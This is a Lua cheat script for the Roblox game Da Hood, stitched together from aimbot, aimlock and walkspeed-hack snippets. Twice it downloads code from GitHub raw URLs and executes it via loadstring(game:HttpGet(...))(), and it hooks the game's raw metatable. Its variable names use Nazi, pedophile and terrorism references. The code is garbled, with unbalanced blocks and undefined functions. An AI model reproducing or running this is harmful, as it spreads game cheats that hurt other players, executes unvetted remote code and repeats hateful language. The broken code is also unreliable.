Crap Config Sil
Crap Config Sil
Crap Config Sil
game.StarterGui:SetCore(
"SendNotification",
{
Title = "Privaet Skided Streamable",
Text = "Loading . . .",
}
)
wait(1)
game.StarterGui:SetCore(
"SendNotification",
{
Title = "Privaet Skided Streamable",
Text = "Authenticating..",
}
)
wait(1)
game.StarterGui:SetCore(
"SendNotification",
{
Title = "Privaet Skided Streamable",
Text = "Setting Up...",
}
)
wait(1)
game.StarterGui:SetCore(
"SendNotification",
{
Title = "Privaet Skided Streamable",
Text = "Wussies Owns You",
}
)
wait(2)
loadstring(game:HttpGet("https://raw.githubusercontent.com/topillesrevenge/
Streamable-Silent/main/Main"))()
DaHoodSettings.Prediction = 0.129
Aiming.TargetPart = {"HumanoidRootPart", "Head"}
Aiming.FOV = 60
Aiming.FOVSides = 999
Aiming.HitChance = 999
Aiming.ShowFOV = true
getgenv().OldAimPart = "Head"
getgenv().AimPart = "HumanoidRootPart" -- For R15 Games: {UpperTorso, LowerTorso,
HumanoidRootPart, Head} | For R6 Games: {Head, Torso, HumanoidRootPart}
getgenv().AimlockKey = "q"
getgenv().AimRadius = 50 -- How far away from someones character you want to
lock on at
getgenv().ThirdPerson = true
getgenv().FirstPerson = true
getgenv().TeamCheck = false -- Check if Target is on your Team (True means it
wont lock onto your teamates, false is vice versa) (Set it to false if there are no
teams)
getgenv().PredictMovement = true -- Predicts if they are moving in fast
velocity (like jumping) so the aimbot will go a bit faster to match their speed
getgenv().PredictionVelocity = 6.6
getgenv().CheckIfJumped = true
getgenv().Smoothness = true
getgenv().SmoothnessAmount = 0.05
getgenv().WorldToViewportPoint = function(P)
return Camera:WorldToViewportPoint(P)
end
getgenv().WorldToScreenPoint = function(P)
return Camera.WorldToScreenPoint(Camera, P)
end
getgenv().GetObscuringObjects = function(T)
if T and T:FindFirstChild(getgenv().AimPart) and Client and
Client.Character:FindFirstChild("Head") then
local RayPos = workspace:FindPartOnRay(RNew(
T[getgenv().AimPart].Position, Client.Character.Head.Position)
)
if RayPos then return RayPos:IsDescendantOf(T) end
end
end
getgenv().GetNearestTarget = function()
-- Credits to whoever made this, i didnt make it, and my own mouse2plr
function kinda sucks
local players = {}
local PLAYER_HOLD = {}
local DISTANCES = {}
for i, v in pairs(Players:GetPlayers()) do
if v ~= Client then
table.insert(players, v)
end
end
for i, v in pairs(players) do
if v.Character ~= nil then
local AIM = v.Character:FindFirstChild("Head")
if getgenv().TeamCheck == true and v.Team ~= Client.Team then
local DISTANCE = (v.Character:FindFirstChild("Head").Position -
game.Workspace.CurrentCamera.CFrame.p).magnitude
local RAY = Ray.new(game.Workspace.CurrentCamera.CFrame.p,
(Mouse.Hit.p - game.Workspace.CurrentCamera.CFrame.p).unit * DISTANCE)
local HIT,POS = game.Workspace:FindPartOnRay(RAY,
game.Workspace)
local DIFF = math.floor((POS - AIM.Position).magnitude)
PLAYER_HOLD[v.Name .. i] = {}
PLAYER_HOLD[v.Name .. i].dist= DISTANCE
PLAYER_HOLD[v.Name .. i].plr = v
PLAYER_HOLD[v.Name .. i].diff = DIFF
table.insert(DISTANCES, DIFF)
elseif getgenv().TeamCheck == false and v.Team == Client.Team then
local DISTANCE = (v.Character:FindFirstChild("Head").Position -
game.Workspace.CurrentCamera.CFrame.p).magnitude
local RAY = Ray.new(game.Workspace.CurrentCamera.CFrame.p,
(Mouse.Hit.p - game.Workspace.CurrentCamera.CFrame.p).unit * DISTANCE)
local HIT,POS = game.Workspace:FindPartOnRay(RAY,
game.Workspace)
local DIFF = math.floor((POS - AIM.Position).magnitude)
PLAYER_HOLD[v.Name .. i] = {}
PLAYER_HOLD[v.Name .. i].dist= DISTANCE
PLAYER_HOLD[v.Name .. i].plr = v
PLAYER_HOLD[v.Name .. i].diff = DIFF
table.insert(DISTANCES, DIFF)
end
end
end
for i, v in pairs(PLAYER_HOLD) do
if v.diff == L_DISTANCE then
return v.plr
end
end
return nil
end
Mouse.KeyDown:Connect(function(a)
if not (Uis:GetFocusedTextBox()) then
if a == AimlockKey and AimlockTarget == nil then
pcall(function()
if MousePressed ~= true then MousePressed = true end
local Target;Target = GetNearestTarget()
if Target ~= nil then
AimlockTarget = Target
end
end)
elseif a == AimlockKey and AimlockTarget ~= nil then
if AimlockTarget ~= nil then AimlockTarget = nil end
if MousePressed ~= false then
MousePressed = false
end
end
end
end)
RService.RenderStepped:Connect(function()
if getgenv().ThirdPerson == true and getgenv().FirstPerson == true then
if (Camera.Focus.p - Camera.CoordinateFrame.p).Magnitude > 1 or
(Camera.Focus.p - Camera.CoordinateFrame.p).Magnitude <= 1 then
CanNotify = true
else
CanNotify = false
end
elseif getgenv().ThirdPerson == true and getgenv().FirstPerson == false
then
if (Camera.Focus.p - Camera.CoordinateFrame.p).Magnitude > 1 then
CanNotify = true
else
CanNotify = false
end
elseif getgenv().ThirdPerson == false and getgenv().FirstPerson == true
then
if (Camera.Focus.p - Camera.CoordinateFrame.p).Magnitude <= 1 then
CanNotify = true
else
CanNotify = false
end
end
if Aimlock == true and MousePressed == true then
if AimlockTarget and AimlockTarget.Character and
AimlockTarget.Character:FindFirstChild(getgenv().AimPart) then
if getgenv().FirstPerson == true then
if CanNotify == true then
if getgenv().PredictMovement == true then
if getgenv().Smoothness == true then
--// The part we're going to lerp/smoothen \\--
local Main = CF(Camera.CFrame.p,
AimlockTarget.Character[getgenv().AimPart].Position +
AimlockTarget.Character[getgenv().AimPart].Velocity/PredictionVelocity)
--// Making it work \\--
Camera.CFrame = Camera.CFrame:Lerp(Main,
getgenv().SmoothnessAmount, Enum.EasingStyle.Elastic, Enum.EasingDirection.InOut)
else
Camera.CFrame = CF(Camera.CFrame.p,
AimlockTarget.Character[getgenv().AimPart].Position +
AimlockTarget.Character[getgenv().AimPart].Velocity/PredictionVelocity)
end
elseif getgenv().PredictMovement == false then
if getgenv().Smoothness == true then
--// The part we're going to lerp/smoothen \\--
local Main = CF(Camera.CFrame.p,
AimlockTarget.Character[getgenv().AimPart].Position)
getgenv().AimPart = "UpperTorso"
else
getgenv().AimPart = getgenv().OldAimPart
end
end
end)
getgenv().Fix = true
getgenv().TeclasWS = {
["tecla1"] = "M", -- speed +5
["tecla2"] = "N", -- speed -5
["tecla3"] = "Z" -- toggle
}
-- // servicios
local MININOS_DOXXEADOS = game:GetService("Players")
local AUDIOS_LOUD_DE_TRAP = game:GetService("StarterGui") or "son una mierda"
-- // objetos
local neonazi = MININOS_DOXXEADOS.LocalPlayer
local esvastica = neonazi:GetMouse()
-- // variables
local lista_de_victimas_de_drizzy = getrenv()._G
local da_hood_rblxm_REAL = getrawmetatable(game)
local CP = da_hood_rblxm_REAL.__newindex
local CP_DE_DRIZZY = da_hood_rblxm_REAL.__index
local velocidad_de_cum = 265
local es_pedofilo = true
getgenv().TECHWAREWALKSPEED_LOADED = true
wait(1.5)
anunciar_atentado_terrorista("Welcome"..TeclasWS.tecla3.."")
-- // conexión
esvastica.KeyDown:Connect(function(el_impostor)
if el_impostor:lower() == TeclasWS.tecla1:lower() then
velocidad_de_cum = velocidad_de_cum + 1
anunciar_atentado_terrorista(" (speed =
"..tostring(velocidad_de_cum)..")")
elseif el_impostor:lower() == TeclasWS.tecla2:lower() then
velocidad_de_cum = velocidad_de_cum - 1
anunciar_atentado_terrorista(" (speed =
"..tostring(velocidad_de_cum)..")")
elseif el_impostor:lower() == TeclasWS.tecla3:lower() then
if es_pedofilo then
es_pedofilo = false
anunciar_atentado_terrorista("speed off")
else
es_pedofilo = true
anunciar_atentado_terrorista("speed on")
end
end
end)
userInput.InputBegan:connect(function(Key)
if Key.KeyCode == Enum.KeyCode.LeftBracket then
Multiplier = Multiplier + 0.01
print(Multiplier)
wait(0.2)
while userInput:IsKeyDown(Enum.KeyCode.LeftBracket) do
wait()
Multiplier = Multiplier + 0.01
print(Multiplier)
end
end
loadstring(game:HttpGet("https://raw.githubusercontent.com/youtubetutorials123/
helo/main/123"))()
end